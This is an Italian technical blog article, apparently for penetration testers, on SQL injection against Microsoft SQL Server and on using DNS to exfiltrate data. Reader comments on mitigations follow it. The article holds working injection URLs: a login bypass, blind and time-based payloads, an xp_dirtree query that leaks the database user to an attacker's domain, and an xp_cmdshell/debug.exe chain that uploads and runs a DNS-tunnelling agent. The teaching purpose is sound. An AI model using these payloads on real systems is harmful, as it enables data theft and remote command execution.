Quando la SQL Injection incontra il DNS

Gli attacchi di tipo SQL Injection sono ben noti da vari anni nella
comunità, sia in termini di modalità di esecuzione, sia in termini di
impatto. Un attacco riuscito può avere molteplici conseguenze, che
vanno dal mettere in pericolo la confidenzialità e integrità dei dati
immagazzinati nel DB, al consentire il bypass di sistemi di
autenticazione, fino in molti casi permettere all’intruso di impartire
comandi direttamente al sistema operativo, trasformando quindi una
vulnerabilità di tipo applicativo in una porta di accesso
all’infrastruttura.

In questo articolo ci concentreremo su Microsoft SQL Server, e dopo un
breve accenno alle tecniche di SQL Injection basata su inference
analizzeremo la possibilità di utilizzare il protocollo DNS per creare
un tunnel che trasporti i dati cercati, siano essi tabelle del DB o i
risultati di un comando impartito al sistema operativo sottostante.
L’articolo è ovviamente rivolto ai penetration tester e a chiunque
altro possa sperimentare con questi concetti in maniera legale.

Si assume una buona conoscenza di SQL Server, di TSQL (il «dialetto» SQL
di Microsoft) e delle tecniche di blind SQL Injection, oltre che un
minimo di dimestichezza con il protocollo DNS.

In-band, Out-of-Band, Inference…

In molti casi, le modalità di exploiting possono risultare molto
semplici: immettere semplicemente la stringa ' or 'a'='a in un input
field può talvolta essere sufficiente per aggirare una pagina di login.
Altre volte, aggiungere una UNION SELECT ad una query può facilmente
garantirci l’accesso ad una qualsiasi tabella del database. In altri
casi, infine, basta una chiamata a xp_cmdshell (una ben nota extended
procedure che consente di impartire comandi al sistema operativo) per
avere l’output dei nostri comandi direttamente nella pagina HTML. In
tutti questi casi, i dati cercati vengono restituiti all’interno della
stessa connessione HTTP utilizzata per l’injection e in genere si parla
di «in-band injection».

In altre situazioni, quando non è possibile ottenere i dati
direttamente nella pagina HTML, è possibile avviare una seconda
connessione che consenta il trasferimento dell’informazione, e si parla
in questo caso di “out-of-band injection”: è possibile per esempio
utilizzare OPENROWSET, un comando che consente ad un DB Server di
connettersi ad un altro DB Server per scambiare dati. L’intruso dovrà
semplicemente avere una istanza di SQL Server in ascolto sulla sua
macchina e dire al DB Server attaccato come collegarsi ad essa.

Nel caso invece in cui si stia puntando ad una shell sul sistema
operativo, è possibile creare, sempre con xp_cmdshell, un FTP script
che, una volta lanciato, scarichi netcat.exe e lanci una shell diretta o
inversa. Nel primo caso netcat si metterà in ascolto su una porta in
locale, nel secondo contatterà invece una porta in ascolto sulla
macchina che effettua l’attacco.

E’ però importante notare che questi scenari appena descritti non sono
possibili laddove vi sia un firewall che filtri tali connessioni, ed è
in questi casi più “estremi” che viene utilizzato il terzo tipo di
attacco, quello «inference based».

Le tecniche basate su inferenza sono state abbondantemente illustrate
già nel 2005 da David Litchfield. In
questo tipo di attacco, non avviene alcun trasferimento effettivo di
dati: l’informazione viene “estratta” (di solito un bit alla volta)
iniettando una serie di query e osservando il comportamento del DB
server remoto.

Questo tipo di attacco non è strettamente l’argomento dell’articolo, e
per i dettagli vi rimando al link riportato sopra, ma la sua eleganza
merita almeno un esempio. Diciamo di avere a che fare con una pagina asp
vulnerabile nel suo parametro numerico a, e ipotizziamo che le
seguenti richieste restituiscano pagine in un qualche modo diverse:

http://www.victim.com/vuln.asp?a=1
http://www.victim.com/vuln.asp?a=2

L’idea consiste nell’iniettare nel parametro a una query che vada a
misurare il valore di un bit di informazione a cui siamo interessati, e
a seconda del valore di tale bit faccia sì che a valga 1 oppure 2. La
pagina che otterremo in risposta ci permetterà a quel punto di
stabilire il valore di tale bit. Ammettendo, ad esempio. di voler
estrarre il nome dell’utente che sta effettuando le query, potremo
utilizzare, per generare il parametro a, la seguente query:

1 + select (ascii(substring((select system_user),1,1))&1)

che, nel nostro URL, diventa:

http://www.victim.com?a=1%2Bselect+(ascii(substring((select+system_user),1,1))%261)

Cosa succede qui? Analizziamo a partire dalle parentesi più interne.
Per prima cosa, estraiamo il nome dell’utente con select system_user.
Da questo nome, estraiamo il primo carattere con substring(). Di tale
carattere troviamo il valore numerico con ascii(). Mettiamo infine
questo valore in bitwise AND con 1 per trovare il valore del bit meno
significativo. A seconda che il valore di questo bit sia 0 o 1, a
varrà rispettivamente 1 o 2, e quindi riceveremo la risposta al primo o
al secondo degli URL sopra menzionati, permettendoci di stabilire il
valore di questo bit. Che non è male, ma siccome un bit da solo è poco
utile, dovremo ripetere la procedura per gli altri bit di questo
carattere. Poi passare al secondo carattere e così via.

Le cose si complicano ulteriormente se la risposta del server è
identica indipendentemente dal valore del parametro vulnerabile: in
questo caso non è più possibile ricostruire il dato a partire dal
codice HTML ricevuto, ma possiamo legare il suo valore ad altre entità,
ad esempio il tempo che ci mette il nostro server a rispondere alla
richiesta, come nel caso seguente:

http://www.victim.com/vuln.asp?a=1;if+ascii(substring((select+system_user),1,1)%261>0+waitfor+delay+'0:0:3'

Analizziamo questa richiesta: Microsoft SQL Server (bontà sua) ci
consente di effettuare più query in batch separandole da un punto e
virgola. In questo caso, iniettiamo una nuova query che andrà ad
estrarre lo stesso bit cercato prima. La differenza è che, se il bit ha
valore 1, il DB dovrà aspettare 3 secondi prima di rispondere. Ecco
quindi che, misurando il tempo che ci mette la nostra applicazione a
rispondere alla nostra richiesta, possiamo di nuovo estrarre i dati cercati.

È evidente che un sistema simile può andare bene per estrarre
quantità limitate di informazione, ma non per effettuare il dump di
interi database. Ammettendo che il valore di un bit sia 1 o 0 con uguale
probabilità, ci troviamo ad aver bisogno in media di 1.5 secondi per
estrarne uno. Potremmo diminuire l’argomento di WAITFOR DELAY, ma con il
serio rischio di introdurre errori dovuti alla latenza di rete.

DNS is your friend!

Ed è per risolvere questo problema di efficienza che, finalmente,
veniamo al cuore di questo articolo, in cui andiamo a descrivere un
altro possibile approccio, che può essere definito «out-of-band» ma che
non ha bisogno di alcuna connessione diretta tra noi e il DB Server.
L’idea consiste nell’utilizzare il protocollo DNS per creare un tunnel
che ci invii i dati cercati. Il primo a studiare le potenzialità di
questo protocollo per trasportare dati è stato Dan Kaminsky,
e in questa sede vedremo due delle tante
implementazioni di questo concetto: la prima è stata esposta per la
prima volta da Patrik Karlsson a Defcon15 mentre la
seconda è quella utilizzata dal tool sqlninja.

Due prerequisiti per poter utilizzare con successo questa tecnica:

  1. la macchina da cui effettuiamo l’attacco deve essere DNS autoritativo per un dominio (es.: stacktrace.it)
  2. il DNS Server del DB che stiamo attaccando deve poter risolvere domini esterni

La prima condizione è facile da ottenere, con un investimento di pochi
euro. La seconda sfugge ovviamente al nostro controllo, ma
fortunatamente (o sfortunatamente, dipende dai punti di vista) sono
poche le reti in cui i DNS interni non sono autorizzati a risolvere
domini arbitrari.

L’idea è di iniettare una query che faccia, nell’ordine, le seguenti
azioni:

  1. estrarre il dato da inviare, nel nostro caso il nome
    dell’utente (es.: sa, l’utente amministrativo di
    default su SQL Server)
  2. creare un hostname composto dal dato stesso e dal dominio sotto controllo
    (quindi, nel nostro esempio, sa.stacktrace.it)
  3. in qualche modo, costringere il DB Server a cercare di risolvere quel nome

Questo genererà una richiesta da parte del DB Server al DNS locale, che
a sua volta effettuerà un forward all’indirizzo IP autoritativo per il
dominio stacktrace.it, ovvero la nostra macchina, la quale non dovrà
fare altro che restare in ascolto sulla porta 53, ricevere la richiesta
ed estrarre il dato cercato dalla richiesta.

Ci sono vari modi per far generare la richiesta al DNS Server: uno dei
più semplici è offerto da xp_dirtree, una extended procedure di SQL
Server che restituisce, sotto forma di lista, l’albero delle directory
che dipendono dalla directory passata come parametro alla procedura,
come nel seguente esempio:

exec master..xp_dirtree 'C:\'

Quello che rende xp_dirtree estremamente utile è che può essere
eseguita da qualsiasi utente indipendentemente dai suoi privilegi, e che
il parametro di input può contenere un host remoto, come nel seguente
esempio:

exec master..xp_dirtree '\\www.stacktrace.it\c:\'

Lanciare una query di questo tipo constringerà il DB server a cercare
di risolvere l’host www.stacktrace.it, generando quindi una richiesta
DNS che verrà inoltrata al DNS Server autoritativo per il dominio
stacktrace.it.

Riassumendo, per avere il nome dell’utente remoto, potremo semplicemente
iniettare la seguente query:

exec master..xp_dirtree '\\'+(select system_user)+'.stacktrace.it\c:\'

che, inserita nell’URL con l’encoding richiesto, diventa:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_dirtree+%27%5C%5C%27%2B%28select+system_user%29%2B%27.stacktrace.it%5Cc%3A%5C%27

Semplice no? Certo, ma ci sono un pò di complicazioni che devono essere
risolte per poter utilizzare questa tecnica in via un pò più generale.
L’esempio appena visto risolve infatti un caso estremamente semplice, e
in un caso reale dovremo tenere conto delle seguenti problematiche:

  1. un hostname può contenere al massimo 255 caratteri; se vogliamo
    trasferire maggiori quantità di dati è necessario utilizzare
    più richieste
  2. ogni segmento dell’hostname (ad esempio la stringa stacktrace in
    sa.stacktrace.it può essere al massimo 63 caratteri; quindi,
    per usare nomi così lunghi, dovremo fare attenzione ad
    interporre dei dot (.) nelle posizioni giuste
  3. un hostname è case-insensitive e può contenere solo caratteri
    alfanumerici e il carattere -; se il dato che
    vogliamo trasferire contiene altri caratteri, per ottenere un
    domain name che sia corretto dovremo pensare ad una qualche codifica

Con qualche riga di codice, la cosa non è troppo difficile: Patrik
Karlsson risolve la cosa con del semplice TSQL, e per i dettagli vi
rimando alla sua presentazione.

Noi qui ci concentreremo sull’implementazione di sqlninja, che punta
invece all’ottenimento di una shell sul DB remoto e che utilizza, per
il tunneling DNS dei risultati dei vari comandi, un eseguibile ad-hoc
che fa da agente remoto (dnstun.exe).

Ma qui incontriamo un ulteriore problema: come trasferire un eseguibile
se, come abbiamo detto, il firewall non consente alcuna connessione che
non sia HTTP? La risposta è DEBUG.EXE, il debugger di Windows che è
installato di default in tutti i sistemi operativi Microsoft. Non
entriamo troppo nei dettagli per non andare fuori tema (magari se ne
parlerà in maniera più approfondita in un altro articolo), ma questo
tool ha il pregio di poter ricevere in input uno script con la
successione di comandi desiderata.

In particolare, noi utilizzeremo uno script che opererà in questo modo:

  1. aprirà un nuovo file (che diventerà il nostro eseguibile)
  2. scriverà in memoria i byte dell’eseguibile, nelle locazioni corrispondenti
  3. salverà il file su disco, pronto per essere utilizzato

Per farvi un’idea, un esempio di tale script (che crea il file
netcat.exe) è disponibile sul sito di sqlninja.

Uno script simile può essere generato facilmente a partire
dall’eseguibile corrispondente utilizzando numerosi tool disponibili in
rete (per esempio l’eccellente dbgtool.exe), e può essere inviato, riga per riga, sul DB remoto
con una serie di xp_cmdshell.

L’upload, quindi, seguirà i seguenti step. Innanzitutto, viene
trasferito l’intero script, riga per riga:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+n+dnstun.com+>+dnstun.scr'
http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+r+cx+>>+dnstun.scr'
.....

Poi viene lanciato debug.exe, con lo script in input:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'debug.exe+<+dnstun.scr'

Infine, non resta che rinominare il file (perchè debug.exe si rifiuta
di operare direttamente su file .exe)

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'ren+dnstun.com+dnstun.exe'

Complicato? Fortunatamente sqlninja fa tutto in maniera automatizzata, e
questo ci consente di tornare ad occuparci di cosa deve fare il nostro
agente remoto. I passi che vengono seguiti sono (con qualche
approssimazione) i seguenti:

  1. il comando da eseguire (per esempio, dir C:\) viene passato via
    SQL Injection a dnstun.exe, insieme al dominio da utilizzare per il
    tunnel e la lunghezza degli hostname da usare:

    http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'dnstun.exe+stacktrace.it+255+dir+c:\'
  2. dnstun.exe usa CreateProcess() per lanciare il comando e usa una
    pipe per intercettare il suo output
  3. man mano che l’output arriva sulla pipe, questo viene codificato
    in Base32 (anzi, una sua versione leggermente modificata): viste le
    limitazioni che abbiamo nei caratteri che possono costituire un
    hostname, possiamo trasferire al massimo 5 bit per carattere; per non
    dover spendere spazio in padding, vengono codificati chunk di output la
    cui lunghezza è un multiplo esatto di 5
  4. La versione codificata dell’output viene utilizzata per creare gli
    hostname da risolvere; all’inizio di ogni hostname viene inoltre
    aggiunto un contatore (perchè le richieste, una volta ricevute, possano
    essere riordinate) e una flag che segnala se la richiesta corrente è
    l’ultima o se ne devono essere attese altre

  5. per ogni hostname generato in questo modo, viene semplicemente
    chiamata gethostbyname(), che penserà a tutto il resto

In Figura 1 vediamo le richieste effettuate. Per chiarezza, abbiamo
utilizzato hostname di soli 64 caratteri totali. Nel dettaglio:

  • l’alfabeto utilizzato per codificare l’output del comando usa le lettere da
    ‘a’ a ‘z’, più i numeri da 0 a 5, per un totale di 32 simboli
  • il primo carattere fa da contatore, ciclando in questo caso da ‘a’
    ad ‘s’; ovviamente il contatore deve essere in grado di utilizzare più
    caratteri, se il numero di richieste lo richiede
  • il secondo carattere ha sempre valore ‘8’, che indica che altri
    pacchetti sono in arrivo; l’ultimo pacchetto ha invece valore ‘9’
  • il resto dell’hostname contiene il risultato del comando. L’ultimo
    pacchetto contiene anche una serie di ‘7’, il cui simbolo viene
    utilizzato per il padding
Dump da Wireshark

Figura 1. Dump da Wireshark.

Infine in Figura 2 vediamo la decodifica:

Utilizzo di sqlninja

Figura 2. Utilizzo di sqlninja.

Bingo! E tutto in meno di un secondo, contro i minuti che sarebbero
stati necessari per eseguire il comando, salvarne l’output in una
tabella temporanea, ed estrarne i contenuti un bit alla volta con
tecniche di inference.

Conclusioni

In questo articolo abbiamo offerto una panoramica su quelle che sono le
potenzialità nell’utilizzare il protocollo DNS per semplificare il
trasferimento dati in una SQL Injection. Per chi fosse interessato a
fare qualche esperimento (legale!!) con le tecniche qua illustrate, il
codice sorgente di dnstun.exe è disponibile nel tarball di sqlninja.
Per chi invece si trova ad amministrare una rete che possa essere il bersaglio di attacchi di
questo tipo, il miglior consiglio è di vietare ai DNS interni di
risolvere nomi esterni.

Comments

  1. Francesco says:

    Stratosferico, cronaca eccezionale! Complimenti per l’aver divulgato tutto questo materiale ben chiaramente. Vero grasso che cola :p e pure io che fino a poco fa di SQL Injection ci capivo solo il come evitare tali attacchi scrivendo buon codice nei punti critici, ebbene ora con un articolo così ho finalmente intuito i passaggi cruciali tipo l’invocazione del xp_cmdshell (un po’ meno il passaggio del debugger). Mi sono pure fiondato a vedere la demo in flash del SqlNinja, spaziale 🙂

  2. Articolo fantastico. Mitico ice!

  3. Ottimo lavoro, solo per dover di cronaca i vari xp_cmdshell, openrowset e xp_dirtree sono per default disattivati in MS SQL 2005 e 2008.

    Inoltre l’attacco prevede che l’utente con il quale gira il servizio MSSQL abbia privilegi amministrativi, per inibire l’attacco basterebbe usare MSSQL 2005 ed attivare il servizio con un utente con privilegi minimi, cosa che per altro bisognerebbe sempre fare 🙂

    http://support.microsoft.com/kb/283811

  4. L’articolo piu` bello del lancio. Saro` biased ma sto articolo e` _stellare_

  5. Alberto Revelli says:

    Ciao Christian,

    in effetti, per motivi di spazio, ho sorvolato sulle tecniche di mitigazione, per cui la tua precisazione e’ piu’ che appropriata.
    Una sola cosa: mi risulta che la chiamata a xp_dirtree sia tuttora abilitata di default su SQL Server 2005 (quantomeno dagli esperimenti che ho fatto)

    ciao! 🙂

  6. Ciao Alberto,

    Si hai perfettamente ragione xp_dirtree ed altre extended stored procedure sono attive al gruppo public per default.
    Unica particolarità la stored gira nel contesto del servizio MSSQL e quindi l’impatto è minimo, ovviamente sempre sperando l’utente del servizio non sia Localsystem o peggio Domain Admin 🙁

Policy per i commenti: Apprezzo moltissimo i vostri commenti, critiche incluse. Per evitare spam e troll, e far rimanere il discorso civile, i commenti sono moderati e prontamente approvati poco dopo il loro invio.